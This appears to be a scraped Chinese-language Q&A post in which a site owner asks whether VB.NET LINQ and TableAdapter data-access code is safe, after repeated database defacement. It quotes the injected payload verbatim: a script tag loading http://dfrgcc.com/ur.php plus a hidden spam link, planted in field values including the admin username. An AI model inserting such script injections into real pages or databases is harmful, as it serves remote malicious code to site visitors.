请参考以下数据库搜索教程,并建议搜索方法是否安全,特别是因为它从文本框中获取输入.
Protected Sub btnSubmit_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles btnSubmit.Click
Dim db As New BlogDBDataContext()
Dim q = From b In db.Blogs _
Where b.BlogContents.Contains(txtSearch.Text.Trim()) Or _
b.BlogTitle.Contains(txtSearch.Text.Trim()) _
Select b
lv.DataSource = q
lv.DataBind()
End Sub
Run Code Online (Sandbox Code Playgroud) 我发现我的SQL Server数据库字段被黑客攻击如下.请注意,Original Content该字段的现有值已更改为以下内容.
Original Content</title><script src=http://dfrgcc.com/ur.php></script></title><a style=position:absolute;left:-9999px;top:-9999px; href=http://file-dl.com/show.php?id=6 >crack</a>
Run Code Online (Sandbox Code Playgroud)
我认为这是一个SQL注入攻击.如果没有,请指导.我已确保关注,但数据库每隔几天就被黑客攻击.
1)我的所有数据访问都在数据集文件中,即app_code\DataLayer.xsd.我调用我的数据方法如下.
Dim memberDAL As new membersTableAdapter
Dim memberName As String = tbName.text
memberDAL.insertMember(memberName)
Run Code Online (Sandbox Code Playgroud)
上面的代码是否被限定为参数化查询.就我的问题而言,它是否是安全的数据访问.所有数据访问都以这种方式完成.有许多输入字段的表格,内容都在数据库中.然而,似乎正在发生的事情不是INSERT而是更新.甚至会员表也受到影响.例如,在aspnet_users表格中,名为"admin"的用户名更改为以下内容.
admin</title><script src=http://dfrgcc.com/ur.php></script></title><a style=position:absolute;left:-9999px;top:-9999px; href=http://file-dl.com/show.php?id=1 >crack</a></title><script src=http://dfrgcc.com/ur.php></script>
Run Code Online (Sandbox Code Playgroud)
2)我使用CAPTCHA排除机器人,但这没有帮助.
我在共享主机上,根据服务器管理员我需要清理我的代码.请指教.